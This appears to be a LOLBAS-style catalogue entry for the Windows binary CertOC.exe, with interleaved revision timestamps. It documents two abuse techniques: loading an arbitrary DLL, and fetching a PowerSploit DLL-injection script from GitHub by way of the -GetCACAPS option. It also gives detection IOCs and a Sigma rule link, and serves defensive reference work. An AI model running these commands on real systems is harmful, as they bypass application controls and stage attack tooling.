2021-10-07 12:31:45 +02:00
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Name: CertOC.exe
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Description: Used for installing certificates
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Author: 'Ensar Samil'
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2021-10-27 11:02:52 +02:00
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Created: 2021-10-07
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2021-10-07 12:31:45 +02:00
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Commands:
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- Command: certoc.exe -LoadDLL "C:\test\calc.dll"
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Description: Loads the target DLL file
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Usecase: Execute code within DLL file
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Category: Execute
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Privileges: User
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MitreID: T1218
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2021-10-27 11:02:52 +02:00
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OperatingSystem: Windows Server 2022
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- Command: certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
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Description: Downloads text formatted files
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Usecase: Download scripts, webshells etc.
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Category: Download
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Privileges: User
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MitreID: T1105
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2021-11-05 19:58:26 +01:00
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OperatingSystem: Windows Server 2022
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2021-10-07 12:31:45 +02:00
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Full_Path:
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- Path: c:\windows\system32\certoc.exe
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- Path: c:\windows\syswow64\certoc.exe
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2021-11-05 19:58:26 +01:00
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Code_Sample:
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2021-10-07 12:31:45 +02:00
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- Code:
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2021-11-05 19:58:26 +01:00
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Detection:
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2021-11-15 14:19:03 +01:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/406f10b583469f7f7c245ff41002f75902693b7d/rules/windows/process_creation/process_creation_certoc_execution.yml
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2021-10-07 12:31:45 +02:00
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- IOC: Process creation with given parameter
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- IOC: Unsigned DLL load via certoc.exe
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2021-10-27 11:02:52 +02:00
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- IOC: Network connection via certoc.exe
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2021-10-07 12:31:45 +02:00
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Resources:
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- Link: https://twitter.com/sblmsrsn/status/1445758411803480072?s=20
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2021-10-27 11:02:52 +02:00
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- Link: https://twitter.com/sblmsrsn/status/1452941226198671363?s=20
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2021-10-07 12:31:45 +02:00
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Acknowledgement:
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- Person: Ensar Samil
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Handle: '@sblmsrsn'
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